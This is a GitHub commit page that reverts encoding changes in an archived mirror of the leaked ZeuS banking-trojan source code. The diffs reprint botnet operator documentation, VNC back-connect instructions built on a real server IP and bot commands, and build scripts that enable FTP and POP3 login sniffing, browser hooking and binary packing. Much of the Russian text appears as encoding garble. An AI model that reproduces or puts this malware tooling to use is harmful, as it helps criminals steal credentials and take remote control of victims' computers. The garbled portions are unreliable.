Skip to content
This repository has been archived by the owner on Jul 18, 2022. It is now read-only.

Commit

Permalink
Revert "encoding experiments"
Browse files Browse the repository at this point in the history
This reverts commit 301d2c9.
  • Loading branch information
(B)rian (Wall)ace committed Jul 5, 2013
1 parent 301d2c9 commit a66838b
Show file tree
Hide file tree
Showing 195 changed files with 4,999 additions and 4,999 deletions.
2 changes: 1 addition & 1 deletion README
@@ -1,4 +1,4 @@
This is version 2.0.8.9 downloaded from
http://www.mdl4.com/2011/05/download-zeus-source-code/

This repository doesnВґt contain my code I have uploaded it to GitHub to simplify the process of getting/analysing the code.
This repository doesn´t contain my code I have uploaded it to GitHub to simplify the process of getting/analysing the code.
6 changes: 3 additions & 3 deletions README.txt
Expand Up @@ -51,7 +51,7 @@ Second:
Configuration File Entries
The file consists of two sections StaticConfig and DynamicConfig.

StaticConfig, the values ​​prescribed in this section directly to the bot file, ie in exe, and define the basic behavior of the bot on a victim's computer.
StaticConfig, the values ​​prescribed in this section directly to the bot file, ie in exe, and define the basic behavior of the bot on a victim's computer.
Depending on your build, some details may not have value for you, all the significant parameters prescribed in the example that came with the package assembly.
botnet [string] - specifies the name of a botnet, which owns the boat.
string - the name of a botnet to 4 characters, or 0 - for the default value.
Expand Down Expand Up @@ -82,10 +82,10 @@ url_compip [url] [number] - specifies the site where you can check your IP, is u
url - specifies the URL of the web
number - Specifies the kolichetsvo bytes that enough to swing from the site to see in the downloaded your IP.

blacklist_languages ​​[number1] [number2] ... [chisloX] - specifies a list of language codes Windows, for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and statistics, but will appeal to the configuration file.
blacklist_languages ​​[number1] [number2] ... [chisloX] - specifies a list of language codes Windows, for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and statistics, but will appeal to the configuration file.
chisloX - language code, for example RU - 1049, EN - 1033.

DynamicConfig, the values ​​prescribed in this section, the final configuration file.
DynamicConfig, the values ​​prescribed in this section, the final configuration file.
Depending on your build, some details may not have value for you, all the significant parameters prescribed in the example that came with the package assembly.
url_loader [url] - specifies the URL, which you can download the update bot. This option is relevant only if you are running the botnet new version of the bot and prescribed configuration of him for the same URL, as the old configuration, in which case the old version of the bot will start to upgrade by downloading the file specified in this record.

Expand Down
22 changes: 11 additions & 11 deletions VNC.txt
@@ -1,11 +1,11 @@
Там всё достаточно просто:
1. Находишь дедик с выделенным IP
2. Устанавливаешь на него файл zsbcs.exe
3. Открываешь командную строку и запускаешь этот файл со следующими параметрами: zsbcs.exe listen -ipv4 -cp:1080 -bp:4500
-cp:1080 это порт который открывается на дедике для твоего vnc viewer'а
-bp:4500 этот порт, через который бот коннектится к дедику.
4. В админке создаёшь для нужного бота следующий скрипт: bot_bc_add vnc 24.255.207.83 4500
(где 24.255.207.83 IP дедика)
5. Берёшь любой vnc viewer и пишешь там IP дедика и порт для коннекта: 24.255.207.83:1080
Весь процесс подключения бота и vnc viewer'а к дедику отображается в окне командной строки. После завершения работы не забывает разорвать соединение нажатием Ctrl+C.
6. незабывайте удалить внц bot_bc_remove vnc 24.255.207.83 4500 таким скриптом
��� �� ���������� ������:
1. �������� ����� � ���������� IP
2. �������������� �� ���� ���� zsbcs.exe
3. ���������� ��������� ������ � ���������� ���� ���� �� ���������� �����������: zsbcs.exe listen -ipv4 -cp:1080 -bp:4500
-cp:1080 ��� ���� ������� ����������� �� ������ ��� ������ vnc viewer'
-bp:4500 ���� ����, ����� ������� ��� ����������� � ������.
4. � ������� ������� ��� ������� ���� ��������� ������: bot_bc_add vnc 24.255.207.83 4500
(��� 24.255.207.83 IP ������)
5. ����� ����� vnc viewer � ������ ��� IP ������ � ���� ��� ��������: 24.255.207.83:1080
���� ������� ����������� ���� � vnc viewer'� � ������ ������������ � ���� ��������� ������. ����� ���������� ������ �� �������� ��������� ���������� �������� Ctrl+C.
6. ����������� ������� ��� bot_bc_remove vnc 24.255.207.83 4500 ����� ��������
2 changes: 1 addition & 1 deletion geobase/convert_maxmind_country.php
@@ -1,6 +1,6 @@
<?php
/*
Конвертация MaxMind Country CSV в формат [LowIPv4 HighIPv4 Country[3]]
Êîíâåðòàöèÿ MaxMind Country CSV â ôîðìàò [LowIPv4 HighIPv4 Country[3]]
http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip
*/
Expand Down
36 changes: 18 additions & 18 deletions make/baseconfig.inc.php
@@ -1,21 +1,21 @@
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Генерация структуры BASECONFIG.
// Генерация структуры BASECONFIG.
///////////////////////////////////////////////////////////////////////////////////////////////////

/*
Генерация структуры BASECONFIG.
Генерация структуры BASECONFIG.
Return - содержимое h-файла.
Return - содержимое h-файла.
*/
function generateBaseConfigHeader()
{
$flags = array
(
"BCF_REMOVE_CERTS ", //Автоматически удалять сертификаты.
"BCF_DISABLE_TCPSERVER", //Отключить TCP-сервер.
"BCF_REMOVE_CERTS ", //Автоматически удалять сертификаты.
"BCF_DISABLE_TCPSERVER", //Отключить TCP-сервер.

//Просто свободные биты. Думаю, что это положительно сыграет на рэндоме (на самом деле лень думать).
//Просто свободные биты. Думаю, что это положительно сыграет на рэндоме (на самом деле лень думать).
"BCF_01 ",
"BCF_02 ",
"BCF_03 ",
Expand Down Expand Up @@ -50,20 +50,20 @@ function generateBaseConfigHeader()

$vars = array
(
"DWORD flags; //Флаги BCF_*.",
"WCHAR defaultBotnet[BOTNET_MAX_CHARS + 1]; //Имя ботнета по умолчанию.",
"DWORD delayConfig; //Данные задержок для загрузки конфигурации.",
"DWORD delayReport; //Данные задержок для отправки отчетов.",
"DWORD delayStats; //Данные задержок для отправки статистики.",
"char defaultConfig[100 + 1]; //URL конфигурации по умолчанию.",
"Crypt::RC4KEY baseKey; //Ключ шифрования ботнета.",
"DWORD flags; //Флаги BCF_*.",
"WCHAR defaultBotnet[BOTNET_MAX_CHARS + 1]; //Имя ботнета по умолчанию.",
"DWORD delayConfig; //Данные задержок для загрузки конфигурации.",
"DWORD delayReport; //Данные задержок для отправки отчетов.",
"DWORD delayStats; //Данные задержок для отправки статистики.",
"char defaultConfig[100 + 1]; //URL конфигурации по умолчанию.",
"Crypt::RC4KEY baseKey; //Ключ шифрования ботнета.",
);

//Перемешиваем значения.
//Перемешиваем значения.
shuffle($vars);
shuffle($flags);

//Добавляем флаги.
//Добавляем флаги.
$outputEnum = array();
$i = 0;
foreach($flags as $v)
Expand All @@ -72,10 +72,10 @@ function generateBaseConfigHeader()
$i++;
}

//Добовляем перед каждым значением структуры, произволный буффер.
//Добовляем перед каждым значением структуры, произволный буффер.
$outputStruct = '';
$i = 0;
$vars[] = 0; //Для добавления паддинга в конец.
$vars[] = 0; //Для добавления паддинга в конец.
foreach($vars as $v)
{
if(($rnd = mt_rand(0, 100)) > 0)
Expand All @@ -86,7 +86,7 @@ function generateBaseConfigHeader()
if(!empty($v))$outputStruct .= " ".$v."\r\n";
}

//Выводим.
//Выводим.
return "enum\r\n{\r\n".implode(",\r\n", $outputEnum)."\r\n};\r\n\r\n".
"typedef struct\r\n{\r\n{$outputStruct}}BASECONFIG;\r\n";
}
Expand Down
62 changes: 31 additions & 31 deletions make/buildconfig.inc.php
@@ -1,38 +1,38 @@
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Конфигурация.
// Êîíôèãóðàöèÿ.
///////////////////////////////////////////////////////////////////////////////////////////////////

$configDir = NULL;
$config = array
(
'debug' => -1, //Добавление отладочной информации.
'manual' => -1, //Язык документации.
'debug' => -1, //Äîáàâëåíèå îòëàäî÷íîé èíôîðìàöèè.
'manual' => -1, //ßçûê äîêóìåíòàöèè.

'nspr4' => -1, //Перехват nspr4.dll
'wininet' => -1, //Перехват wininet.dll
'software_ftp' => -1, //Граббер FTP-клиентов.
'software_email' => -1, //Сбор email'ов с программ.
'nspr4' => -1, //Ïåðåõâàò nspr4.dll
'wininet' => -1, //Ïåðåõâàò wininet.dll
'software_ftp' => -1, //Ãðàááåð FTP-êëèåíòîâ.
'software_email' => -1, //Ñáîð email'îâ ñ ïðîãðàìì.

'socket_ftp' => -1, //Снифер логинов FTP.
'socket_pop3' => -1, //Снифер логинов POP3.
'socket_ftp' => -1, //Ñíèôåð ëîãèíîâ FTP.
'socket_pop3' => -1, //Ñíèôåð ëîãèíîâ POP3.

'vnc' => -1, //VNC.
'jabber_notifier' => -1, //Нотификатор для Jabber.
'jabber_notifier' => -1, //Íîòèôèêàòîð äëÿ Jabber.

'client_platforms' => -1, //Список платформ для client.
'server_platforms' => -1, //Список платформ для server.
'bcserver_platforms' => -1, //Список платформ для bcserver.
'builder_platforms' => -1, //Список платформ для builder.
'buildtools_platforms' => -1, //Список платформ для buildtools.
'client_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ client.
'server_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ server.
'bcserver_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ bcserver.
'builder_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ builder.
'buildtools_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ buildtools.
);

loadGlobalConfig();
define('BO_NAME', 'ZeuS'); //Имя
define('BO_CLIENT_VERSION', trim($config['global']['versions']['client'])); //Текущая версия
define('BO_BUILDTIME', gmdate('H:i:s d.m.Y', time()).' GMT'); //Время сборки
define('BO_NAME', 'ZeuS'); //Èìÿ
define('BO_CLIENT_VERSION', trim($config['global']['versions']['client'])); //Òåêóùàÿ âåðñèÿ
define('BO_BUILDTIME', gmdate('H:i:s d.m.Y', time()).' GMT'); //Âðåìÿ ñáîðêè

//Директории компилятора.
//Äèðåêòîðèè êîìïèëÿòîðà.
$dir['vcdlls'] = 'C:\Program Files\Microsoft Visual Studio 10.0\Common7\IDE';
$dir['vc'] = 'C:\Program Files\Microsoft Visual Studio 10.0\VC';
$dir['sdk'] = 'C:\Program Files\Microsoft SDKs\Windows\v7.0A';
Expand All @@ -41,18 +41,18 @@
$dir['sdkbin']['win32'] = $dir['sdk'].'\bin';
$dir['sdkbin']['win64'] = $dir['sdk'].'\bin\x64';

putenv('PATH=%PATH%;'.$dir['vcdlls']); //Там находятся некотрые нужные DLL.
putenv('PATH=%PATH%;'.$dir['vcdlls']); //Òàì íàõîäÿòñÿ íåêîòðûå íóæíûå DLL.

//Различные директории.
$dir['project'] = dirname(getcwd()); //Уровень вверх.
//Ðàçëè÷íûå äèðåêòîðèè.
$dir['project'] = dirname(getcwd()); //Óðîâåíü ââåðõ.
$dir['bin'] = $dir['project'].'\bin';
$dir['docs'] = $dir['project'].'\docs';
$dir['configs'] = $dir['project'].'\configs';
$dir['temp'] = $dir['project'].'\temp';
$dir['geobase'] = $dir['project'].'\geobase';
$dir['moutput'] = $dir['project'].'\output_all';

//Директории вывода.
//Äèðåêòîðèè âûâîäà.
$dir['output'][0] = $dir['project'].'\output';
$dir['output']['client'] = $dir['output'][0];
$dir['output']['server'] = $dir['output'][0].'\server';
Expand All @@ -61,7 +61,7 @@
$dir['output']['other'] = $dir['output'][0].'\other';
$dir['output']['buildtools'] = $dir['output'][0];

//Директории исходного кода.
//Äèðåêòîðèè èñõîäíîãî êîäà.
$dir['source'][0] = $dir['project'].'\source';
$dir['source']['client'] = $dir['source'][0].'\client';
$dir['source']['server'] = $dir['source'][0].'\server';
Expand All @@ -71,7 +71,7 @@
$dir['source']['other'] = $dir['source'][0].'\other';
$dir['source']['buildtools'] = $dir['source'][0].'\buildtools';

//Опции компиляции
//Îïöèè êîìïèëÿöèè
$commandLineOptions['client']['win32'] = array
(
'name' => 'client32.bin',
Expand Down Expand Up @@ -114,12 +114,12 @@
'lnk_options' => 'kernel32.lib shlwapi.lib shell32.lib user32.lib advapi32.lib'
);

//Списоки для поиска include, lib.
//Ñïèñîêè äëÿ ïîèñêà include, lib.
$dir['include'] = array($dir['vc'].'\include', $dir['sdk'].'\include', $dir['project'].'\include');
$dir['lib']['win32'] = array($dir['vc'].'\lib', $dir['sdk'].'\lib', $dir['project'].'\lib\x32');
$dir['lib']['win64'] = array($dir['vc'].'\lib\amd64', $dir['sdk'].'\lib\x64', $dir['project'].'\lib\x64');

//Командные строки.?
//Êîìàíäíûå ñòðîêè.?
$commandLinePart['cpp'] = '/O1 /Ob2 /Oi- /Os /Oy '. //Optimization
'/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy '. //Code Generation
'/Fo"%TEMP%/" '. //Output Files
Expand All @@ -133,7 +133,7 @@
$commandLinePart['link'] = '/ENTRY:entryPoint /MERGE:code=.text /errorReport:none /FIXED /INCREMENTAL:NO /NXCOMPAT /LTCG /MAP:"%MAPFILE%" /MAPINFO:EXPORTS /NODEFAULTLIB /NOLOGO /OPT:REF /OPT:ICF /LARGEADDRESSAWARE:NO /DYNAMICBASE:NO /OUT:"%OUTPUT%" /MANIFESTUAC:NO /SAFESEH:NO /SUBSYSTEM:%SUBSYS% /VERSION:1.0 /WX %OPTIONS% %SOURCE%';
$commandLinePart['res'] = '/D "_UNICODE" /D "UNICODE" /FO"%OUTPUT%" %OPTIONS% "%SOURCE%"';

//Компиляторы/Линкеры.?
//Êîìïèëÿòîðû/Ëèíêåðû.?
$commandLine['cpp']['win32'] = "call \"{$dir['vcbin']['win32']}\\cl.exe\" /arch:SSE {$commandLinePart['cpp']}";
$commandLine['cpp']['win64'] = "call \"{$dir['vcbin']['win64']}\\cl.exe\" /favor:blend {$commandLinePart['cpp']}";

Expand All @@ -146,16 +146,16 @@
$commandLine['link']['win64'] = "call \"{$dir['vcbin']['win64']}\\link.exe\" /MACHINE:X64 /LIBPATH:\"".implode('" /LIBPATH:"', $dir['lib']['win64']).'" '.$commandLinePart['link'];
$commandLine['link']['win32'] = "call \"{$dir['vcbin']['win32']}\\link.exe\" /MACHINE:X86 /LIBPATH:\"".implode('" /LIBPATH:"', $dir['lib']['win32']).'" '.$commandLinePart['link'];

//Протекторы.
//Ïðîòåêòîðû.
$commandLine['protect']['php'] = "call \"{$dir['project']}\\bin\\zendenc5.exe\" --short-tags on --no-header --use-crypto --silent --include-ext js \"%SOURCE%\" \"%OUTPUT%\"";

//Упаковщики.
//Óïàêîâùèêè.
$commandLine['pack']['win64'] = NULL;
$commandLine['pack']['win32'] = "call \"{$dir['project']}\\bin\\upx.exe\" -9 -f \"%SOURCE%\"";
$commandLine['pack']['dir'] = "call \"{$dir['project']}\\bin\\7z.exe\" a -t7z -mx=9 -ms=on -mf=on -mhc=on -mhe=on -mmt=on \"-p%PASS%\" -r -ssw -y -- \"%OUTPUT%\" \"%SOURCE%\"";
$commandLine['pack']['file'] = "call \"{$dir['project']}\\bin\\7z.exe\" a -t7z -mx=9 -ms=on -mf=on -mhc=on -mhe=on -mmt=on \"-p%PASS%\" -ssw -y -- \"%OUTPUT%\" \"%SOURCE%\"";

//Прочие инстурменты.
//Ïðî÷èå èíñòóðìåíòû.
$commandLine['buildtools']['ror13'] = "call \"{$dir['project']}\\bin\\bt.exe\" ror13 -nologo \"-is:%STRING%\"";
$commandLine['buildtools']['pedatadirectory'] = "call \"{$dir['project']}\\bin\\bt.exe\" peinfo -nologo \"-file:%FILE%\" \"-dd:%INDEX%\"";
$commandLine['buildtools']['pepatch'] = "call \"{$dir['project']}\\bin\\bt.exe\" peinfo -nologo \"-file:%FILE%\" -va \"-pdw:%VA%,%DWORD%\"";
Expand Down
6 changes: 3 additions & 3 deletions make/configsample.inc.php
@@ -1,12 +1,12 @@
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Сборка примера файла конфигурации.
// Ñáîðêà ïðèìåðà ôàéëà êîíôèãóðàöèè.
///////////////////////////////////////////////////////////////////////////////////////////////////

/*
Сборка примера файла конфигурации.
Ñáîðêà ïðèìåðà ôàéëà êîíôèãóðàöèè.
IN $dir - директория, в которой будут сгенерированы файлы.
IN $dir - äèðåêòîðèÿ, â êîòîðîé áóäóò ñãåíåðèðîâàíû ôàéëû.
*/
function buildConfigSample($dir)
{
Expand Down
18 changes: 9 additions & 9 deletions make/installdata.inc.php
@@ -1,29 +1,29 @@
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Генерация структуры INSTALLDATA.
// Ãåíåðàöèÿ ñòðóêòóðû INSTALLDATA.
///////////////////////////////////////////////////////////////////////////////////////////////////

/*
Генерация структуры BASECONFIG.
Ãåíåðàöèÿ ñòðóêòóðû BASECONFIG.
Return - содержимое h-файла.
Return - ñîäåðæèìîå h-ôàéëà.
*/
function generateInstallData()
{
$vars = array
(
"DWORD xorKey; //Ключ шифрования.",
"DWORD installSize; //Размер CoreInstall::_install().",
"DWORD updateSize; //Размер CoreInstall::_update()."
"DWORD xorKey; //Êëþ÷ øèôðîâàíèÿ.",
"DWORD installSize; //Ðàçìåð CoreInstall::_install().",
"DWORD updateSize; //Ðàçìåð CoreInstall::_update()."
);

//Перемешиваем значения.
//Ïåðåìåøèâàåì çíà÷åíèÿ.
shuffle($vars);

//Добовляем перед каждым значением структуры, произволный буффер.
//Äîáîâëÿåì ïåðåä êàæäûì çíà÷åíèåì ñòðóêòóðû, ïðîèçâîëíûé áóôôåð.
$outputStruct = implode("\r\n ", $vars);

//Выводим.
//Âûâîäèì.
return "typedef struct\r\n{\r\n {$outputStruct}\r\n}INSTALLDATA;\r\n";
}
?>

0 comments on commit a66838b

Please sign in to comment.